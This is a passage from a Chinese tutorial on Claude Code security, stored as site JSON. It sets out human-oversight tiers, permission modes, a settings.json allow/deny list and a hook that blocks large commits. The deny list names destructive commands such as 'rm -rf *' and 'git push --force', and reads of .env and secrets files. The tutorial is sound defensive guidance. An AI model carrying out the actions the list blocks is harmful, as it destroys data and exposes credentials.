[{"data":1,"prerenderedAt":4337},["ShallowReactive",2],{"navigation":3,"\u002Fmindset\u002Fsecurity":189,"\u002Fmindset\u002Fsecurity-surround":4332},[4,35,57,75,101,123,149,171],{"title":5,"icon":6,"path":7,"stem":8,"children":9,"page":34},"第 1 章：认识 Claude Code","i-lucide-rocket","\u002Fintro","1.intro",[10,14,18,22,26,30],{"title":11,"path":12,"stem":13},"什么是 Claude Code","\u002Fintro\u002Fwhat-is-claude-code","1.intro\u002F1.what-is-claude-code",{"title":15,"path":16,"stem":17},"Claude Code 与 Copilot、Cursor、Windsurf 的本质区别","\u002Fintro\u002Fvs-competitors","1.intro\u002F2.vs-competitors",{"title":19,"path":20,"stem":21},"AI 编程助手生态全景与选型指南","\u002Fintro\u002Fecosystem-guide","1.intro\u002F3.ecosystem-guide",{"title":23,"path":24,"stem":25},"LLM 的概率本质","\u002Fintro\u002Fllm-probability","1.intro\u002F4.llm-probability",{"title":27,"path":28,"stem":29},"从聊天机器人到 Agent","\u002Fintro\u002Ffrom-chatbot-to-agent","1.intro\u002F5.from-chatbot-to-agent",{"title":31,"path":32,"stem":33},"Claude Code 的 Agentic Loop 全拆解","\u002Fintro\u002Fagentic-loop","1.intro\u002F6.agentic-loop",false,{"title":36,"icon":37,"path":38,"stem":39,"children":40,"page":34},"第 2 章：安装与配置","i-lucide-settings","\u002Fsetup","2.setup",[41,45,49,53],{"title":42,"path":43,"stem":44},"系统要求与安装方式","\u002Fsetup\u002Fsystem-requirements","2.setup\u002F1.system-requirements",{"title":46,"path":47,"stem":48},"认证、登录与多账户管理","\u002Fsetup\u002Fauthentication","2.setup\u002F2.authentication",{"title":50,"path":51,"stem":52},"选择你的界面","\u002Fsetup\u002Fchoose-interface","2.setup\u002F3.choose-interface",{"title":54,"path":55,"stem":56},"Coding Plan","\u002Fsetup\u002Fcoding-plan","2.setup\u002F4.coding-plan",{"title":58,"icon":59,"path":60,"stem":61,"children":62,"page":34},"第 3 章：快速上手","i-lucide-hand","\u002Fquickstart","3.quickstart",[63,67,71],{"title":64,"path":65,"stem":66},"启动、交互模式与基本命令","\u002Fquickstart\u002Fstartup","3.quickstart\u002F1.startup",{"title":68,"path":69,"stem":70},"让 Claude 理解你的项目","\u002Fquickstart\u002Fcodebase-understanding","3.quickstart\u002F2.codebase-understanding",{"title":72,"path":73,"stem":74},"第一次代码变更","\u002Fquickstart\u002Ffirst-change","3.quickstart\u002F3.first-change",{"title":76,"icon":77,"path":78,"stem":79,"children":80,"page":34},"第 4 章：核心功能","i-lucide-laptop","\u002Fcore-features","4.core-features",[81,85,89,93,97],{"title":82,"path":83,"stem":84},"代码库全景扫描与模块关系分析","\u002Fcore-features\u002Fcodebase-scan","4.core-features\u002F1.codebase-scan",{"title":86,"path":87,"stem":88},"代码编辑与生成","\u002Fcore-features\u002Fedit-generate","4.core-features\u002F2.edit-generate",{"title":90,"path":91,"stem":92},"测试与调试","\u002Fcore-features\u002Ftest-debug","4.core-features\u002F3.test-debug",{"title":94,"path":95,"stem":96},"Git 工作流","\u002Fcore-features\u002Fgit-workflow","4.core-features\u002F4.git-workflow",{"title":98,"path":99,"stem":100},"工具链执行","\u002Fcore-features\u002Ftoolchain","4.core-features\u002F5.toolchain",{"title":102,"icon":103,"path":104,"stem":105,"children":106,"page":34},"第 5 章：进阶配置","i-lucide-wrench","\u002Fadvanced","5.advanced",[107,111,115,119],{"title":108,"path":109,"stem":110},"CLAUDE.md","\u002Fadvanced\u002Fclaude-md","5.advanced\u002F1.claude-md",{"title":112,"path":113,"stem":114},"Skills","\u002Fadvanced\u002Fskills","5.advanced\u002F2.skills",{"title":116,"path":117,"stem":118},"MCP","\u002Fadvanced\u002Fmcp","5.advanced\u002F3.mcp",{"title":120,"path":121,"stem":122},"Hooks 与 Plan 模式","\u002Fadvanced\u002Fhooks-plan","5.advanced\u002F4.hooks-plan",{"title":124,"icon":125,"path":126,"stem":127,"children":128,"page":34},"第 6 章：实战开发","i-lucide-hammer","\u002Fpractice","6.practice",[129,133,137,141,145],{"title":130,"path":131,"stem":132},"需求分析与架构设计","\u002Fpractice\u002Frequirements-architecture","6.practice\u002F1.requirements-architecture",{"title":134,"path":135,"stem":136},"项目脚手架搭建与技术选型","\u002Fpractice\u002Fscaffolding","6.practice\u002F2.scaffolding",{"title":138,"path":139,"stem":140},"核心功能实现","\u002Fpractice\u002Fcore-features","6.practice\u002F3.core-features",{"title":142,"path":143,"stem":144},"测试覆盖、代码审查与质量调优","\u002Fpractice\u002Ftesting-quality","6.practice\u002F4.testing-quality",{"title":146,"path":147,"stem":148},"部署上线与成果分享","\u002Fpractice\u002Fdeployment","6.practice\u002F5.deployment",{"title":150,"icon":151,"path":152,"stem":153,"children":154,"page":34},"第 7 章：心法层","i-lucide-brain","\u002Fmindset","7.mindset",[155,159,163,167],{"title":156,"path":157,"stem":158},"提示词设计原则","\u002Fmindset\u002Fprompt-design","7.mindset\u002F1.prompt-design",{"title":160,"path":161,"stem":162},"上下文管理策略","\u002Fmindset\u002Fcontext-management","7.mindset\u002F2.context-management",{"title":164,"path":165,"stem":166},"安全与权限控制","\u002Fmindset\u002Fsecurity","7.mindset\u002F3.security",{"title":168,"path":169,"stem":170},"Boris Cherny 的 9 条实战心法与团队推广经验","\u002Fmindset\u002Fboris-cherny-tips","7.mindset\u002F4.boris-cherny-tips",{"title":172,"icon":173,"path":174,"stem":175,"children":176,"page":34},"附录","i-lucide-paperclip","\u002Fappendix","8.appendix",[177,181,185],{"title":178,"path":179,"stem":180},"常用命令速查表","\u002Fappendix\u002Fa.command-cheatsheet","8.appendix\u002Fa.command-cheatsheet",{"title":182,"path":183,"stem":184},"AI 核心术语汇编","\u002Fappendix\u002Fb.ai-terminology","8.appendix\u002Fb.ai-terminology",{"title":186,"path":187,"stem":188},"资源链接与延伸阅读","\u002Fappendix\u002Fc.resources","8.appendix\u002Fc.resources",{"id":190,"title":164,"body":191,"description":4325,"extension":4326,"links":4327,"meta":4328,"navigation":654,"path":165,"seo":4330,"stem":166,"__hash__":4331},"docs\u002F7.mindset\u002F3.security.md",{"type":192,"value":193,"toc":4280},"minimark",[194,208,215,226,242,245,248,253,258,265,285,300,304,311,331,334,338,349,372,379,383,386,492,499,505,520,531,533,537,541,544,617,624,717,728,739,743,746,1121,1133,1137,1140,1298,1301,1304,1441,1458,1462,1465,1468,1485,1494,1498,1517,1520,1714,1720,1726,1750,1755,1786,1788,1792,1796,1803,1807,1834,1837,1845,1851,1877,1880,1884,1896,2025,2032,2036,2046,2059,2065,2071,2085,2089,2092,2127,2130,2301,2304,2341,2345,2348,2374,2380,2395,2553,2555,2559,2563,2569,2586,2592,2596,2667,2674,2678,2681,2687,2713,2717,2724,2804,2810,2816,2842,2849,2853,2859,2870,2877,2882,2900,2903,2905,2909,2913,2922,2928,2940,2954,2957,3014,3017,3021,3026,3031,3039,3124,3131,3138,3146,3150,3171,3175,3187,3191,3206,3212,3485,3491,3495,3504,3509,3513,3524,3529,3556,3559,3696,3699,3701,3705,3709,3712,3723,3726,3732,3772,3775,3810,3813,3824,3828,3831,3852,3875,3879,3882,3896,3901,3936,3943,3947,3950,4067,4074,4079,4099,4113,4115,4118,4128,4142,4145,4148,4160,4163,4173,4176,4276],[195,196,197,198,202,203,207],"p",{},"7.2 节解决的是\"AI 看到了什么\"，本节解决的是\"AI 能做什么\"。再清晰的上下文，如果配上\"无差别执行权限\"，依然会带来灾难——一次未受控的 ",[199,200,201],"code",{},"rm -rf","、一次错误的生产数据库迁移、一次把 API Key 推到公开仓库——这些事故的根源不是 AI 不够聪明，而是",[204,205,206],"strong",{},"人类没有把权限边界设计清楚","。",[195,209,210,211,214],{},"本节的核心论点是：",[204,212,213],{},"Claude Code 不是\"自动驾驶\"，而是\"高级巡航辅助\"——它能在大部分场景下减轻工程师的负担，但任何一次\"接管方向盘\"的动作都必须由人类拍板","。这条原则不依赖 AI 能力的高低——哪怕未来 LLM 变得几乎无错，\"人类对关键决策保留最终责任\"依然是工程伦理与法律责任的底线。本节会把这条原则拆成\"权限三层模型 → Claude Code 机制 → 高风险动作 → 信任分级 → 反模式 → 团队共识\"六部分，给出一份可以立即套用的配置模板与对话脚本。",[195,216,217,218,221,222,225],{},"需要先澄清一个常见误解：",[204,219,220],{},"安全设计不是\"技术问题\"，更不是\"偏执问题\"，而是\"组织问题\"","。一个团队的安全水平由该团队\"最薄弱的那个工程师在最累的那一晚做的决定\"决定——不是由最严格的 settings.json 决定。本节给出的所有工具与流程，都应当配套相应的",[204,223,224],{},"团队文化","才能真正发挥作用：",[227,228,229,233,236,239],"ul",{},[230,231,232],"li",{},"工具阻断（settings.json deny）告诉团队\"这件事禁止做\"。",[230,234,235],{},"流程检查（Hooks、Plan）告诉团队\"做这件事前请三思\"。",[230,237,238],{},"审计日志（incidents.md）告诉团队\"我们曾经犯过哪些错\"。",[230,240,241],{},"文化共识（安全公约）告诉团队\"我们想成为什么样的工程组织\"。",[195,243,244],{},"四者缺一不可。光靠工具阻断会让团队感觉\"被工具束缚\"，进而想方设法绕过；光靠文化共识没有工具兜底，会在压力情境下崩溃。只有四者协同，AI 协作时代的安全边界才能既高效又坚固。读者在阅读后续章节时，应当持续问自己——\"这条建议在我团队是有工具支持还是仅靠自觉？\"——这个问题决定了建议的实际有效性。",[246,247],"hr",{},[249,250,252],"h2",{"id":251},"一ai-协作时代的权限三层模型","一、AI 协作时代的\"权限三层模型\"",[254,255,257],"h3",{"id":256},"_11-执行层executionai-可以代为完成的动作","1.1 执行层（Execution）：AI 可以代为完成的动作",[195,259,260,261,264],{},"执行层指那些",[204,262,263],{},"可逆、低影响半径、错了能轻松回滚","的动作。这一层应当尽可能授权给 AI，让工程师从机械劳动中解放出来：",[227,266,267,270,273,276,279,282],{},[230,268,269],{},"修改源代码（在 git 工作区、未提交时）",[230,271,272],{},"创建\u002F删除测试文件",[230,274,275],{},"跑单元测试、跑 lint、跑 typecheck",[230,277,278],{},"生成文档草稿",[230,280,281],{},"重命名变量、重构函数签名",[230,283,284],{},"安装开发依赖（dev dependencies）",[195,286,287,288,299],{},"判断\"是否属于执行层\"的简易标准——",[204,289,290,291,294,295,298],{},"如果出错，单条 ",[199,292,293],{},"git checkout"," 或 ",[199,296,297],{},"git reset"," 就能恢复","，那就属于执行层。",[254,301,303],{"id":302},"_12-审查层reviewai-提议人类把关的动作","1.2 审查层（Review）：AI 提议、人类把关的动作",[195,305,306,307,310],{},"审查层指那些",[204,308,309],{},"有一定影响半径、错了挽回有成本、但通过 review 可以发现问题","的动作。这一层 AI 可以\"提议\"，但执行权握在人类手里：",[227,312,313,316,319,322,325,328],{},[230,314,315],{},"git commit \u002F git merge",[230,317,318],{},"修改 CI\u002FCD 配置",[230,320,321],{},"升级生产依赖（production dependencies）",[230,323,324],{},"修改数据模型 schema",[230,326,327],{},"修改 API 契约",[230,329,330],{},"修改 CLAUDE.md \u002F Skills（影响后续 AI 行为）",[195,332,333],{},"这一层最适合 Plan 模式——AI 输出完整 plan，人类审批后再执行。",[254,335,337],{"id":336},"_13-决策层decision必须由人类原创的判断","1.3 决策层（Decision）：必须由人类原创的判断",[195,339,340,341,344,345,348],{},"决策层指那些",[204,342,343],{},"不可逆、高影响半径、错了会带来商业\u002F法律\u002F伦理后果","的动作。这一层 ",[204,346,347],{},"AI 永远不能代为决策","：",[227,350,351,354,357,360,363,366,369],{},[230,352,353],{},"部署到生产环境",[230,355,356],{},"执行数据库 schema 迁移（含数据迁移）",[230,358,359],{},"操作密钥、Token、生产配置",[230,361,362],{},"删除 git 分支、强制推送（force push）",[230,364,365],{},"处理用户隐私数据",[230,367,368],{},"选择架构方向、技术栈、商业模型",[230,370,371],{},"法律合规相关的代码（数据合规、用户协议）",[195,373,374,375,378],{},"决策层的边界",[204,376,377],{},"不应该写死在某个工具里","，而应该作为团队共识贴在团队墙上、写进 CLAUDE.md、写进 onboarding 文档。",[254,380,382],{"id":381},"_14-三层模型如何映射到具体场景","1.4 三层模型如何映射到具体场景",[195,384,385],{},"不同阶段的工作流对应不同的层级分布：",[387,388,389,408],"table",{},[390,391,392],"thead",{},[393,394,395,399,402,405],"tr",{},[396,397,398],"th",{},"阶段",[396,400,401],{},"执行层",[396,403,404],{},"审查层",[396,406,407],{},"决策层",[409,410,411,428,444,460,476],"tbody",{},[393,412,413,419,422,425],{},[414,415,416],"td",{},[204,417,418],{},"开发",[414,420,421],{},"写代码、写测试、跑测试",[414,423,424],{},"git commit、PR 描述、依赖升级",[414,426,427],{},"架构决策、技术选型",[393,429,430,435,438,441],{},[414,431,432],{},[204,433,434],{},"代码审查",[414,436,437],{},"自动 lint、风格检查",[414,439,440],{},"AI 一次审 + 人审",[414,442,443],{},"merge 决策、回归批准",[393,445,446,451,454,457],{},[414,447,448],{},[204,449,450],{},"部署",[414,452,453],{},"构建、跑 CI、生成 changelog",[414,455,456],{},"灰度策略、回滚 plan",[414,458,459],{},"推全量、紧急回滚",[393,461,462,467,470,473],{},[414,463,464],{},[204,465,466],{},"运维",[414,468,469],{},"日志解析、根因假设",[414,471,472],{},"故障复盘起草",[414,474,475],{},"事故级别判定、对外沟通",[393,477,478,483,486,489],{},[414,479,480],{},[204,481,482],{},"数据",[414,484,485],{},"查询、聚合、报表",[414,487,488],{},"修改 ETL 任务",[414,490,491],{},"schema 迁移、数据删除",[195,493,494,495,498],{},"这张表不是死规定，而是",[204,496,497],{},"起点","。每个团队应该基于自己的业务风险特征，把表格中的条目重新分配。例如金融业务可能把\"修改 API 契约\"也提到决策层；个人项目可能把\"灰度策略\"下放到执行层。",[195,500,501,504],{},[204,502,503],{},"层级判定的边界场景","：现实中很多动作处于三层之间的灰色地带，例如——",[227,506,507,514,517],{},[230,508,509,510,513],{},"\"改 README 里的安装命令\"：看似执行层（文档变更可逆），但如果命令带有 ",[199,511,512],{},"npm install -g"," 这类全局副作用，错的命令复制粘贴执行可能伤害用户机器，应当升级到审查层。",[230,515,516],{},"\"回复用户工单\"：看似执行层（文字内容可改），但回复一旦发出，用户的预期已经形成、品牌印象已经留下，应当属于审查层。",[230,518,519],{},"\"调整一个营销 A\u002FB 实验比例\"：看似审查层（流量切换可回滚），但如果实验涉及付费用户的功能差异，可能涉及合同义务，应当升级到决策层。",[195,521,522,523,526,527,530],{},"判断灰色地带的简易标准——",[204,524,525],{},"问\"如果错了，谁会受伤\"","。只伤工程师本人 → 执行层；伤队友\u002F项目 → 审查层；伤用户\u002F公司\u002F法律责任 → 决策层。这条标准比\"动作可不可逆\"更直接，因为它聚焦在",[204,528,529],{},"伤害的承担者","而非动作本身。",[246,532],{},[249,534,536],{"id":535},"二claude-code-的权限机制","二、Claude Code 的权限机制",[254,538,540],{"id":539},"_21-permission-mode","2.1 Permission Mode",[195,542,543],{},"Claude Code 支持四种权限模式：",[387,545,546,559],{},[390,547,548],{},[393,549,550,553,556],{},[396,551,552],{},"模式",[396,554,555],{},"行为",[396,557,558],{},"适用场景",[409,560,561,574,587,604],{},[393,562,563,568,571],{},[414,564,565],{},[199,566,567],{},"default",[414,569,570],{},"工具调用前弹出确认提示",[414,572,573],{},"日常开发、新接入项目",[393,575,576,581,584],{},[414,577,578],{},[199,579,580],{},"acceptEdits",[414,582,583],{},"编辑类工具自动通过、其他类型仍需确认",[414,585,586],{},"代码迭代密集期",[393,588,589,594,601],{},[414,590,591],{},[199,592,593],{},"bypassPermissions",[414,595,596,597,600],{},"跳过所有确认（",[204,598,599],{},"危险","）",[414,602,603],{},"仅限可一键销毁的沙盒环境",[393,605,606,611,614],{},[414,607,608],{},[199,609,610],{},"plan",[414,612,613],{},"任何写动作前先输出 Plan 等审批",[414,615,616],{},"高风险变更、首次接触陌生代码",[195,618,619,620,623],{},"启动时通过 ",[199,621,622],{},"--permission-mode"," 指定：",[625,626,631],"pre",{"className":627,"code":628,"language":629,"meta":630,"style":630},"language-bash shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","# 普通开发\nclaude\n\n# 高频迭代期\nclaude --permission-mode acceptEdits\n\n# 高风险变更\nclaude --permission-mode plan\n\n# 沙盒\u002F演示（绝不在生产相关项目使用）\nclaude --permission-mode bypassPermissions\n","bash","",[199,632,633,642,649,656,662,675,680,686,696,701,707],{"__ignoreMap":630},[634,635,638],"span",{"class":636,"line":637},"line",1,[634,639,641],{"class":640},"sHwdD","# 普通开发\n",[634,643,645],{"class":636,"line":644},2,[634,646,648],{"class":647},"sBMFI","claude\n",[634,650,652],{"class":636,"line":651},3,[634,653,655],{"emptyLinePlaceholder":654},true,"\n",[634,657,659],{"class":636,"line":658},4,[634,660,661],{"class":640},"# 高频迭代期\n",[634,663,665,668,672],{"class":636,"line":664},5,[634,666,667],{"class":647},"claude",[634,669,671],{"class":670},"sfazB"," --permission-mode",[634,673,674],{"class":670}," acceptEdits\n",[634,676,678],{"class":636,"line":677},6,[634,679,655],{"emptyLinePlaceholder":654},[634,681,683],{"class":636,"line":682},7,[634,684,685],{"class":640},"# 高风险变更\n",[634,687,689,691,693],{"class":636,"line":688},8,[634,690,667],{"class":647},[634,692,671],{"class":670},[634,694,695],{"class":670}," plan\n",[634,697,699],{"class":636,"line":698},9,[634,700,655],{"emptyLinePlaceholder":654},[634,702,704],{"class":636,"line":703},10,[634,705,706],{"class":640},"# 沙盒\u002F演示（绝不在生产相关项目使用）\n",[634,708,710,712,714],{"class":636,"line":709},11,[634,711,667],{"class":647},[634,713,671],{"class":670},[634,715,716],{"class":670}," bypassPermissions\n",[195,718,719,720,723,724,727],{},"会话中也可以临时切换：在对话框输入 ",[199,721,722],{},"\u002Fplan"," 进入 Plan 模式、",[199,725,726],{},"\u002FacceptEdits"," 切回快速模式。",[195,729,730,348,733,738],{},[204,731,732],{},"铁律",[204,734,735,736],{},"生产相关项目永远不开 ",[199,737,593],{},"。哪怕只是\"快速跑一下\"，下次有人接手这台机器时可能会吃大亏。",[254,740,742],{"id":741},"_22-claudesettingsjson-的-allow-deny-列表","2.2 .claude\u002Fsettings.json 的 allow \u002F deny 列表",[195,744,745],{},"settings.json 提供了细粒度的工具白名单与黑名单。一份典型的\"安全 baseline\"配置：",[625,747,751],{"className":748,"code":749,"language":750,"meta":630,"style":630},"language-json shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","{\n  \"permissions\": {\n    \"allow\": [\n      \"Bash(pnpm test:*)\",\n      \"Bash(pnpm lint:*)\",\n      \"Bash(pnpm typecheck)\",\n      \"Bash(pnpm build)\",\n      \"Bash(git status)\",\n      \"Bash(git diff:*)\",\n      \"Bash(git log:*)\",\n      \"Edit(src\u002F**)\",\n      \"Write(src\u002F**)\",\n      \"Read(**)\"\n    ],\n    \"deny\": [\n      \"Bash(rm -rf *)\",\n      \"Bash(git push --force*)\",\n      \"Bash(git reset --hard*)\",\n      \"Bash(npm publish:*)\",\n      \"Bash(pnpm publish:*)\",\n      \"Bash(docker push:*)\",\n      \"Bash(kubectl:*)\",\n      \"Bash(terraform apply:*)\",\n      \"Read(.env)\",\n      \"Read(.env.*)\",\n      \"Read(**\u002F.env)\",\n      \"Read(**\u002Fsecrets\u002F**)\",\n      \"Edit(.env*)\",\n      \"Edit(**\u002F.env*)\",\n      \"Edit(.github\u002Fworkflows\u002F*-deploy.yml)\"\n    ]\n  }\n}\n","json",[199,752,753,759,777,792,805,816,827,838,849,860,871,882,894,905,911,925,937,949,961,973,985,997,1009,1021,1033,1045,1057,1069,1081,1093,1103,1109,1115],{"__ignoreMap":630},[634,754,755],{"class":636,"line":637},[634,756,758],{"class":757},"sMK4o","{\n",[634,760,761,764,768,771,774],{"class":636,"line":644},[634,762,763],{"class":757},"  \"",[634,765,767],{"class":766},"spNyl","permissions",[634,769,770],{"class":757},"\"",[634,772,773],{"class":757},":",[634,775,776],{"class":757}," {\n",[634,778,779,782,785,787,789],{"class":636,"line":651},[634,780,781],{"class":757},"    \"",[634,783,784],{"class":647},"allow",[634,786,770],{"class":757},[634,788,773],{"class":757},[634,790,791],{"class":757}," [\n",[634,793,794,797,800,802],{"class":636,"line":658},[634,795,796],{"class":757},"      \"",[634,798,799],{"class":670},"Bash(pnpm test:*)",[634,801,770],{"class":757},[634,803,804],{"class":757},",\n",[634,806,807,809,812,814],{"class":636,"line":664},[634,808,796],{"class":757},[634,810,811],{"class":670},"Bash(pnpm lint:*)",[634,813,770],{"class":757},[634,815,804],{"class":757},[634,817,818,820,823,825],{"class":636,"line":677},[634,819,796],{"class":757},[634,821,822],{"class":670},"Bash(pnpm typecheck)",[634,824,770],{"class":757},[634,826,804],{"class":757},[634,828,829,831,834,836],{"class":636,"line":682},[634,830,796],{"class":757},[634,832,833],{"class":670},"Bash(pnpm build)",[634,835,770],{"class":757},[634,837,804],{"class":757},[634,839,840,842,845,847],{"class":636,"line":688},[634,841,796],{"class":757},[634,843,844],{"class":670},"Bash(git status)",[634,846,770],{"class":757},[634,848,804],{"class":757},[634,850,851,853,856,858],{"class":636,"line":698},[634,852,796],{"class":757},[634,854,855],{"class":670},"Bash(git diff:*)",[634,857,770],{"class":757},[634,859,804],{"class":757},[634,861,862,864,867,869],{"class":636,"line":703},[634,863,796],{"class":757},[634,865,866],{"class":670},"Bash(git log:*)",[634,868,770],{"class":757},[634,870,804],{"class":757},[634,872,873,875,878,880],{"class":636,"line":709},[634,874,796],{"class":757},[634,876,877],{"class":670},"Edit(src\u002F**)",[634,879,770],{"class":757},[634,881,804],{"class":757},[634,883,885,887,890,892],{"class":636,"line":884},12,[634,886,796],{"class":757},[634,888,889],{"class":670},"Write(src\u002F**)",[634,891,770],{"class":757},[634,893,804],{"class":757},[634,895,897,899,902],{"class":636,"line":896},13,[634,898,796],{"class":757},[634,900,901],{"class":670},"Read(**)",[634,903,904],{"class":757},"\"\n",[634,906,908],{"class":636,"line":907},14,[634,909,910],{"class":757},"    ],\n",[634,912,914,916,919,921,923],{"class":636,"line":913},15,[634,915,781],{"class":757},[634,917,918],{"class":647},"deny",[634,920,770],{"class":757},[634,922,773],{"class":757},[634,924,791],{"class":757},[634,926,928,930,933,935],{"class":636,"line":927},16,[634,929,796],{"class":757},[634,931,932],{"class":670},"Bash(rm -rf *)",[634,934,770],{"class":757},[634,936,804],{"class":757},[634,938,940,942,945,947],{"class":636,"line":939},17,[634,941,796],{"class":757},[634,943,944],{"class":670},"Bash(git push --force*)",[634,946,770],{"class":757},[634,948,804],{"class":757},[634,950,952,954,957,959],{"class":636,"line":951},18,[634,953,796],{"class":757},[634,955,956],{"class":670},"Bash(git reset --hard*)",[634,958,770],{"class":757},[634,960,804],{"class":757},[634,962,964,966,969,971],{"class":636,"line":963},19,[634,965,796],{"class":757},[634,967,968],{"class":670},"Bash(npm publish:*)",[634,970,770],{"class":757},[634,972,804],{"class":757},[634,974,976,978,981,983],{"class":636,"line":975},20,[634,977,796],{"class":757},[634,979,980],{"class":670},"Bash(pnpm publish:*)",[634,982,770],{"class":757},[634,984,804],{"class":757},[634,986,988,990,993,995],{"class":636,"line":987},21,[634,989,796],{"class":757},[634,991,992],{"class":670},"Bash(docker push:*)",[634,994,770],{"class":757},[634,996,804],{"class":757},[634,998,1000,1002,1005,1007],{"class":636,"line":999},22,[634,1001,796],{"class":757},[634,1003,1004],{"class":670},"Bash(kubectl:*)",[634,1006,770],{"class":757},[634,1008,804],{"class":757},[634,1010,1012,1014,1017,1019],{"class":636,"line":1011},23,[634,1013,796],{"class":757},[634,1015,1016],{"class":670},"Bash(terraform apply:*)",[634,1018,770],{"class":757},[634,1020,804],{"class":757},[634,1022,1024,1026,1029,1031],{"class":636,"line":1023},24,[634,1025,796],{"class":757},[634,1027,1028],{"class":670},"Read(.env)",[634,1030,770],{"class":757},[634,1032,804],{"class":757},[634,1034,1036,1038,1041,1043],{"class":636,"line":1035},25,[634,1037,796],{"class":757},[634,1039,1040],{"class":670},"Read(.env.*)",[634,1042,770],{"class":757},[634,1044,804],{"class":757},[634,1046,1048,1050,1053,1055],{"class":636,"line":1047},26,[634,1049,796],{"class":757},[634,1051,1052],{"class":670},"Read(**\u002F.env)",[634,1054,770],{"class":757},[634,1056,804],{"class":757},[634,1058,1060,1062,1065,1067],{"class":636,"line":1059},27,[634,1061,796],{"class":757},[634,1063,1064],{"class":670},"Read(**\u002Fsecrets\u002F**)",[634,1066,770],{"class":757},[634,1068,804],{"class":757},[634,1070,1072,1074,1077,1079],{"class":636,"line":1071},28,[634,1073,796],{"class":757},[634,1075,1076],{"class":670},"Edit(.env*)",[634,1078,770],{"class":757},[634,1080,804],{"class":757},[634,1082,1084,1086,1089,1091],{"class":636,"line":1083},29,[634,1085,796],{"class":757},[634,1087,1088],{"class":670},"Edit(**\u002F.env*)",[634,1090,770],{"class":757},[634,1092,804],{"class":757},[634,1094,1096,1098,1101],{"class":636,"line":1095},30,[634,1097,796],{"class":757},[634,1099,1100],{"class":670},"Edit(.github\u002Fworkflows\u002F*-deploy.yml)",[634,1102,904],{"class":757},[634,1104,1106],{"class":636,"line":1105},31,[634,1107,1108],{"class":757},"    ]\n",[634,1110,1112],{"class":636,"line":1111},32,[634,1113,1114],{"class":757},"  }\n",[634,1116,1118],{"class":636,"line":1117},33,[634,1119,1120],{"class":757},"}\n",[195,1122,1123,1125,1126,1128,1129,1132],{},[199,1124,784],{}," 是\"无需确认即可执行\"的白名单，",[199,1127,918],{}," 是\"无论如何都禁止执行\"的黑名单。",[204,1130,1131],{},"deny 优先级高于 allow","——任何写在 deny 中的动作都会被硬阻断。",[254,1134,1136],{"id":1135},"_23-hooks-作为执行前后的主动守卫","2.3 Hooks 作为执行前\u002F后的\"主动守卫\"",[195,1138,1139],{},"Hooks 提供了比 allow\u002Fdeny 更灵活的自定义守卫。一份用于\"防止意外提交大文件\"的 hook：",[625,1141,1143],{"className":748,"code":1142,"language":750,"meta":630,"style":630},"{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Bash\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"if echo \\\"$TOOL_INPUT\\\" | grep -qE 'git (add|commit)' && find . -type f -size +5M -not -path '.\u002Fnode_modules\u002F*' -not -path '.\u002F.git\u002F*' | head -1 | grep -q .; then echo 'BLOCKED: 仓库中存在 > 5MB 的文件，请确认是否应该忽略' >&2; exit 1; fi\"\n          }\n        ]\n      }\n    ]\n  }\n}\n",[199,1144,1145,1149,1162,1175,1180,1203,1215,1220,1242,1271,1276,1281,1286,1290,1294],{"__ignoreMap":630},[634,1146,1147],{"class":636,"line":637},[634,1148,758],{"class":757},[634,1150,1151,1153,1156,1158,1160],{"class":636,"line":644},[634,1152,763],{"class":757},[634,1154,1155],{"class":766},"hooks",[634,1157,770],{"class":757},[634,1159,773],{"class":757},[634,1161,776],{"class":757},[634,1163,1164,1166,1169,1171,1173],{"class":636,"line":651},[634,1165,781],{"class":757},[634,1167,1168],{"class":647},"PreToolUse",[634,1170,770],{"class":757},[634,1172,773],{"class":757},[634,1174,791],{"class":757},[634,1176,1177],{"class":636,"line":658},[634,1178,1179],{"class":757},"      {\n",[634,1181,1182,1185,1189,1191,1193,1196,1199,1201],{"class":636,"line":664},[634,1183,1184],{"class":757},"        \"",[634,1186,1188],{"class":1187},"sbssI","matcher",[634,1190,770],{"class":757},[634,1192,773],{"class":757},[634,1194,1195],{"class":757}," \"",[634,1197,1198],{"class":670},"Bash",[634,1200,770],{"class":757},[634,1202,804],{"class":757},[634,1204,1205,1207,1209,1211,1213],{"class":636,"line":677},[634,1206,1184],{"class":757},[634,1208,1155],{"class":1187},[634,1210,770],{"class":757},[634,1212,773],{"class":757},[634,1214,791],{"class":757},[634,1216,1217],{"class":636,"line":682},[634,1218,1219],{"class":757},"          {\n",[634,1221,1222,1225,1229,1231,1233,1235,1238,1240],{"class":636,"line":688},[634,1223,1224],{"class":757},"            \"",[634,1226,1228],{"class":1227},"swJcz","type",[634,1230,770],{"class":757},[634,1232,773],{"class":757},[634,1234,1195],{"class":757},[634,1236,1237],{"class":670},"command",[634,1239,770],{"class":757},[634,1241,804],{"class":757},[634,1243,1244,1246,1248,1250,1252,1254,1257,1261,1264,1266,1269],{"class":636,"line":698},[634,1245,1224],{"class":757},[634,1247,1237],{"class":1227},[634,1249,770],{"class":757},[634,1251,773],{"class":757},[634,1253,1195],{"class":757},[634,1255,1256],{"class":670},"if echo ",[634,1258,1260],{"class":1259},"sTEyZ","\\\"",[634,1262,1263],{"class":670},"$TOOL_INPUT",[634,1265,1260],{"class":1259},[634,1267,1268],{"class":670}," | grep -qE 'git (add|commit)' && find . -type f -size +5M -not -path '.\u002Fnode_modules\u002F*' -not -path '.\u002F.git\u002F*' | head -1 | grep -q .; then echo 'BLOCKED: 仓库中存在 > 5MB 的文件，请确认是否应该忽略' >&2; exit 1; fi",[634,1270,904],{"class":757},[634,1272,1273],{"class":636,"line":703},[634,1274,1275],{"class":757},"          }\n",[634,1277,1278],{"class":636,"line":709},[634,1279,1280],{"class":757},"        ]\n",[634,1282,1283],{"class":636,"line":884},[634,1284,1285],{"class":757},"      }\n",[634,1287,1288],{"class":636,"line":896},[634,1289,1108],{"class":757},[634,1291,1292],{"class":636,"line":907},[634,1293,1114],{"class":757},[634,1295,1296],{"class":636,"line":913},[634,1297,1120],{"class":757},[195,1299,1300],{},"Hook 退出码非 0 会阻断该次工具调用，并把 stderr 内容回送给 Claude——Claude 会自然地进入\"修复或绕开\"的对话模式。",[195,1302,1303],{},"更复杂的场景可以接入外部脚本：",[625,1305,1307],{"className":748,"code":1306,"language":750,"meta":630,"style":630},"{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Edit|Write\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"node 